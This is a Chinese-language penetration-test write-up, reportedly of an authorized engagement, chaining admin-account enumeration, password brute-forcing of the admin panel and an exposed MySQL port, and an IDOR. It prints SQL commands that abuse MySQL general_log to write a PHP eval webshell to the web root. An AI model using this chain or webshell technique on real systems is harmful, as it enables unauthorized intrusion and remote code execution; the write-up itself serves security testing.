前言

前不久的一次授权测试中,感觉缺少任何一步都无法达到getshell的目的,单个漏洞看得话确实平平无奇,但是如果组合起来的话也许会有意想不到的化学效应。

前期测试

拿到这个站的时候一眼就看见了会员登录界面,一开始想着注册,但是觉得会员功能应该很少,没验证码啥的,万一后台管理员也是会员呢那岂不是要是爆破出来了可以去后台尝试一波。

显示的是手机号登录,但是可以尝试下admin,千万不要被他的前台迷惑了。很巧的是可以进行用户名枚举,而且还存在admin账号,不爆破都对不起他

字典呢用的是鸭王的字典,爆破神器,用这个字典爆破出来过不少站点(https://github.com/TheKingOfDuck/fuzzDicts), 这次也很幸运,爆破出来了

拿到后台去登录下,管理员确实喜欢采用同样的密码,登录进去了。看到后台可以自定义上传的后缀心里想可以愉快的交差了,增加后缀php,找上传一条龙getshell。

当我看到上传图片的编辑器的时候我感觉事情并不是那么简单,果不其然那个增加后缀不起作用

后台发现是thinkcmf建站系统,网上搜索能利用的漏洞,看到一个漏洞集合(https://www.hacking8.com/bug-web/ThinkCMS/ThinkCMF%E6%BC%8F%E6%B4%9E%E5%85%A8%E9%9B%86%E5%92%8C.html) 挨个去尝试下无果,继续搜索(https://www.freebuf.com/vuls/217586.html), 基本上能尝试的都payload都试了试,应该是版本高漏洞修复了或者利用方式不太对,反正是没利用成功。有的方法对网站有破坏性,我要是试了不得被打死呀。既然到现在无法getshell,那就尝试找找漏洞吧,领导说的好如果无法getshell就多找漏洞,听领导的总没有错。

进阶阶段

在一开始打开网站的时候,由于安装了谷歌插件sensinfor(t00ls上发现的),可以初步探测网站的敏感目录,比如备份文件,phpmyadmin,phpinfo等等,在一开始就探测出存在phpinfo,获取了网站的绝对路径

常规用nmap探测下开放的端口,发现对外开放了3306端口,有绝对路径了,不抱希望的去爆破下3306吧,反正我是没爆破出几个3306的密码,用下超级弱口令检查工具,字典接着用鸭王的吧,谁知道是字典强大还是运气爆破,话说这个不算弱口令,只能说字典里有这个密码吧,只要字典存在的就是弱密码,没有错。

接下来就是常规操作了,试下log写日志吧

show variables like '%general%';  查看日志状态
SET GLOBAL general_log='on'     开启日志读写
SET GLOBAL general_log_file='xxx.php'  指定日志路径
SELECT '<?php eval($_POST["cmd"]);?>'  写日志进xxx.php

其他漏洞

基于负责任的态度也发现了 一些其他的漏洞,不过相对来说危害性不大吧,但是如果在写测试报告的时候如果没得写也是可以写上的。

登录IP伪造

这个后台一般都有记录用户登录IP的习惯,但是如果记录IP的时候选取的是x-forward-for构造的IP,这样攻击者是可以伪造登录IP的,如果没有对IP的合法性进行校验,构造一个XSS payload触发存储型XSS这也不是没可能,在测试的时候就遇到过几次,后台记录会员登录IP的地方存在存储型XSS

不过这里美中不足的是后台对IP的合法性进行了校验,如果是不合法的IP会被重置为0.0.0.0

越权漏洞

登录后发现管理员没办法对自己进行操作,这很尴尬,管理员都没办法更改自己的信息

很简单的办法随便找个可以进行更改的链接,更改url实现修改管理员信息,按照经验这种限制管理员更改自己信息的情况我遇到的很多都是前端限制了。

然后会弹出详情页面,可以进行修改操作,这里修改下会员等级把自己从普通会员变成VIP吧,一个管理员怎么能是普通会员呢

总结

1.对目标站点管理员后台输入admin账号,密码任意,显示密码错误,则admin 账号存在
2.通过 bp的intruder功能对admin账号进行爆破,密码字典选用fuzzDicts字典
(https://github.com/TheKingOfDuck/fuzzDicts),可成功爆破。
3.进入后台后,在图片上传存在文件上传,但是上传处目标站点已进行白名单限制,不能上传一句话。
4.通过云蟋对目标站点进行cms指纹探测,发现是thinkcm系统,测试几个历史漏洞,但无果。
16.通过谷歌浏览器插件sensinfor进行信息探测,发现存在phpinfo.php,这里显示了网站的绝对路径
17.通过namp对目标站点的IP进行扫描,发现存在3306端口
18.通过超级弱口令工具对目标站点的3306端口进行爆破,最终成功爆破密码。
19.通过navicat远程连接目标站点mysql,在SQL命令终端处,通过log日志记录写入一句话
show variables like '%general%';  查看日志状态
SET GLOBAL general_log='on'     开启日志读写
SET GLOBAL general_log_file='xxx.php'  指定日志路径
SELECT '<?php eval($_POST["cmd"]);?>'  写日志进xxx.php
20.最后通过蚁剑成功连接一句话
来源: https://xz.aliyun.com/t/10460

记一次授权的渗透测试相关推荐

  1. 记一次内部系统渗透测试:小漏洞组合拳

    前言 这篇文章主要说的是我在这次内部测试的任务中,如何一步步获取应用系统最高权限,总的来说,是各种小漏洞的组合拳.因是内部系统,所以打码稍微严重些. 正文 在兴(suo)致(ran)盎(wu)然(we ...

  2. 记一次内网渗透测试实训总结

    原文连接 前言 时间很快就来到了学期的最后一个月,和上学期一样,最后的几周是实训周,而这次实训恰好就是我比较喜欢的网络攻防,因为之前学过相关的知识,做过一些靶场,相比于其他同学做起来要快些,不过内网渗 ...

  3. 记一次有授权的渗透测试

    点击关注了解更多精彩内容!! 今天基佬在群里发来一个国外的站然后让帮忙拿shell 话不多说,我迎众基去了. 第一反应找上传. 该处找到一个上传,我们新建一个然后上传.经过简单的测试直接00截断就可以 ...

  4. 【网络安全】一次授权的渗透测试

    前言 前不久的一次授权测试中,感觉缺少任何一步都无法达到getshell的目的,单个漏洞看得话确实平平无奇,但是如果组合起来的话也许会有意想不到的化学效应. [学习资料] 前期测试 拿到这个站的时候一 ...

  5. 【渗透测试】一次授权的渗透测试——建议收藏

    一:信息收集阶段 因为目标是学校,一般会去考虑收集学号,教工号.因为有的登陆点需要此类信息,且密码存在规律性(身份证后六位,123456). 目标域名xxx.com[查看资料] 开始的时候,我是直接通 ...

  6. 渗透测试流程信息收集

    渗透测试是一种评估方法,一种通过模拟黑客的攻击方式,来评估网站安全的方法 渗透测试流程分为7个阶段 信息收集 漏洞扫描 漏洞利用 内网转发 内网渗透 痕迹清除 编写报告 但在这7个阶段之前还有一个前提 ...

  7. 渗透测试-流量加密之冰蝎蚁剑

    文章目录 前言 冰蝎 PHP冰蝎马 通信数据包 冰蝎初体验 冰蝎攻与防 蚁剑 蚁剑的安装 蚁剑初体验 蚁剑编码器 蚁剑攻与防 总结 前言 一句话木马是一般是指一段短小精悍的恶意代码,这段代码可以用作一 ...

  8. 记一次授权的APK渗透测试

    作为一个渗透测试小白,本文的目的是希望能为那些和我一样的小白提供一些测试思路. 涉及的内容可能比较基础,表哥们见谅. APK 解包 拿到 apk 之后直接用 7-Zip 解压可以得到几个文件夹.一个 ...

  9. 记一次对某企业的渗透测试实战

    作者:Vulkey_Chen 前言 本文总结一下漫长的渗透测试过程,想尽了各种方法,终于找到了突破口.so没有绝对的安全,所谓的安全性其实都是相对的- 信息踩点 在这里其实没办法去做一些有价值的收集, ...

  10. 记一次对学校的渗透测试

    前言: 此次渗透测试较为基础,有很多不足的地方,希望各位大佬能够指正 首先打开学校的官网:http://www.xxxx.edu.cn 嗯,直接干... 这里直接进行子站查找,一般主站不会让你打进去的 ...

最新文章

  1. win10安装mysql无服务_win10装sql没有SQL Server 服务
  2. IntelliJ IDEA下载激活
  3. 9.1-全栈Java笔记: 容器泛型—认识Collection接口
  4. java-判断相同和对象比较大小
  5. 提取网页里面全部所有链接的方法
  6. Sublime Text 设置在标签页中打开文件
  7. 某猪微店状元分销V2.0钻石版-全开源纯净安装版
  8. android 手机 与 python服务器_Python服务器与多种客户端(Python/Java/Android)之间的通信...
  9. 基于CentOS7,MySQL5.7的 读写分离
  10. 马尔可夫链的扩展 贝叶斯网络 (Bayesian Networks)
  11. 七月最后一波!微软专属内推码等你来抢
  12. 案例:需求问题的解决方案
  13. 粒子滤波与PF目标追踪
  14. 【书】软件设计师教程(第4版)(百度云免费下载链接)
  15. 知道PDF密码,想要移除如何操作?
  16. 支付宝SOFA架构:降低业务系统复杂度
  17. Vue中报如下错误Uncaught (in promise) NavigationDuplicated解决方案
  18. sd卡数据损坏怎么回事,sd卡数据损坏怎么恢复
  19. numpy array 升维
  20. 2014 360校园招聘技术类笔试题

热门文章

  1. Mac修改hosts文件 配置一些IP地址和域名的映射
  2. 上市公司频推高送转 年报预告掘金“白马股”(名单)
  3. MySQL的两种登录方式
  4. 图片放大后模糊的照片怎么处理清晰?
  5. Servlet容器与Web容器详解
  6. 5G关键技术之NFV
  7. 【实习之T100开发】T100 单档程序开发,java工程师面试突击中华石杉
  8. 使用php生成6位密码大全,php生成随机产生六位数密码的代码
  9. Arduino 测量交流电流
  10. 阿里云P10技术专家褚霸:我是一个程序员